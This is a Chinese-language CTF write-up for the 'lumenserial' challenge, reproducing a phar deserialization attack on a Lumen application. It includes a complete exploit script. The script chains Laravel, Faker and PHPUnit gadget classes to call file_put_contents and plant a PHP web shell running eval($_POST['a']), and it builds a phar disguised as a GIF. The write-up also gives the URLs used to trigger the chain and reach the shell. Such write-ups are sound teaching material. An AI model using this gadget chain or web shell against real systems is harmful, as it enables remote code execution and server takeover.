小菜鸡太菜了,只能复现
题目
先审计源码,可以看到EditorController.php
有个download
函数
1 2 3 4 5 6 7 8 9 10 11 12 13
|
private function download($url){ $maxSize = $this->config['catcherMaxSize']; $limitExtension = array_map(function ($ext) { return ltrim($ext, '.'); }, $this->config['catcherAllowFiles']); $allowTypes = array_map(function ($ext) { return "image/{$ext}"; }, $limitExtension);
$content = file_get_contents($url); $img = getimagesizefromstring($content); ...... }
|
可以看到这个函数里面有个file_get_contents
函数,通过get方法传进去一个url
,而且这个参数完全可控,因此我们可以利用它进行phar反序列化操作,而且文件上传的点还很容易找到,能直接上传图片。
但是有个注意的是,php的版本是7.2,8能动态调用assert
函数,还禁用了很多系统函数system,shell_exec,passthru,exec,popen,proc_open,pcntl_exec,mail,apache_setenv,mb_send_mail,dl,set_time_limit,ignore_user_abort,symlink,link,error_log
,因此反序列化难度+++
分析
找pop链
PendingBroadcast
先看illuminate/boradcasting/PendingBroadcast.php
这个文件
1 2 3
|
public function __destruct(){ $this->events->dispatch($this->event); }
|
可以通过这个方法将一些类的__call
方法调用出来
ValidGenerator
在faker/src/Facker/ValidGenerator.php
里面有个__call
方法,这个方法里面调用了两个动态调用函数
1 2 3 4 5 6 7 8 9 10 11
|
public function __call($name, $arguments){ $i = 0; do { $res = call_user_func_array(array($this->generator, $name), $arguments); $i++; if ($i > $this->maxRetries) { throw new \OverflowException(sprintf('Maximum retries of %d reached without finding a valid value', $this->maxRetries)); } } while (!call_user_func($this->validator, $res)); return $res; }
|
这个类里面传进去的name
参数是不可控的,因此我们第一次调用$res = call_user_func_array(array($this->generator, $name)
并不能如我们所愿实现任意命令,但是我们可以找到一个类,使上面调用的出来的结果可控,从而在第二次调用call_user_func($this->validator, $res)
的时候实现控制。而且,name
的值就是dispatch
,由于在call_user_func_array
里面,generator
类中没有定义dispatch
函数,因此会自动调用__call
函数
Generator
fzaninotto/faker/src/Faker/Generator.php
先看__call
函数
1 2 3
|
public function __call($method, $attributes){ return $this->format($method, $attributes); }
|
跟进去format
函数
1 2 3
|
public function format($formatter, $arguments = array()){ return call_user_func_array($this->getFormatter($formatter), $arguments); }
|
formatter
参数8可控,继续跟
1 2 3 4 5
|
public function getFormatter($formatter){ if (isset($this->formatters[$formatter])) { return $this->formatters[$formatter]; } ...
|
好了,这里我们能看到他的return值是一个数组的值,因此,我们先让第一次$this->getFormatter($formatter)
返回的值是一个数组,数组值为getFormatter
,然后由于call_user_func_array
,他会再调用一次getFormatter
方法,参数为空,而这个方法传空值时,就会返回第一个formatters
成员的值
StaticInvocation
接下来最后一步就是要找一个比较好的类了
phpunit\src\Framework\MockObject\Stub\ReturnCallback.php
里面看invoke
函数
1 2 3
|
public function invoke(Invocation $invocation){ return \call_user_func_array($this->callback, $invocation->getParameters()); }
|
invoke
方法调用了call_user_func_array
而且里面的两个参数都是反序列化的时候可以控制的,Invocation
只是一个接口,找到那个类就能利用了
找下类的方法
1 2 3 4 5 6
|
class StaticInvocation implements Invocation, SelfDescribing{
public function getMethodName(): string{ return $this->methodName; } }
|
利用这个返回回到ValidGenreator
中利用call_user_func
就能成功完成攻击了
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68
|
<?php
namespace Illuminate\Broadcasting{ class PendingBroadcast{ function __construct(){ $this->events = new \Faker\ValidGenerator(); $this->event = 'Ariel'; } } }
namespace PHPUnit\Framework\MockObject\Invocation{ class StaticInvocation{ function __construct(){ $this->parameters = array('/var/www/html/upload/a.php','<?php phpinfo();eval($_POST["a"]);?>'); } } }
namespace PHPUnit\Framework\MockObject\Stub{ class ReturnCallback{ function __construct(){ $this->callback = 'file_put_contents'; } } }
namespace Faker{ class ValidGenerator{ function __construct(){ $si = new \PHPUnit\Framework\MockObject\Invocation\StaticInvocation(); $g1 = new \Faker\Generator(array('Ariel' => $si )); $g2 = new \Faker\Generator(array("dispatch" => array($g1, "getFormatter")));
$rc = new \PHPUnit\Framework\MockObject\Stub\ReturnCallback();
$this->validator = array($rc, "invoke"); $this->generator = $g2; $this->maxRetries = 10000; } }
class Generator{ function __construct($form){ $this->formatters = $form; } }
}
namespace{ $exp = new Illuminate\Broadcasting\PendingBroadcast(); echo (urlencode(serialize($exp)));
$p = new Phar('./a.phar', 0); $p->startBuffering(); $p->setStub('GIF89a<?php __HALT_COMPILER(); ?>'); $p->setMetadata($exp); $p->addFromString('1.txt','text'); $p->stopBuffering(); }
|
上传图片然后访问http://xiaorouji.cn:8080/server/editor?action=Catchimage&source[]=phar:///var/www/html/upload/image/843ac0c4952e20f0d95d1651b86d6792/201904/10/00c7ab10a3e36d18dd9d.gif
去触发反序列化
接着访问http://xiaorouji.cn:8080/upload/a.php
,成功getshell
![code breaking lumenserial]()
参考kk师傅的博客
评论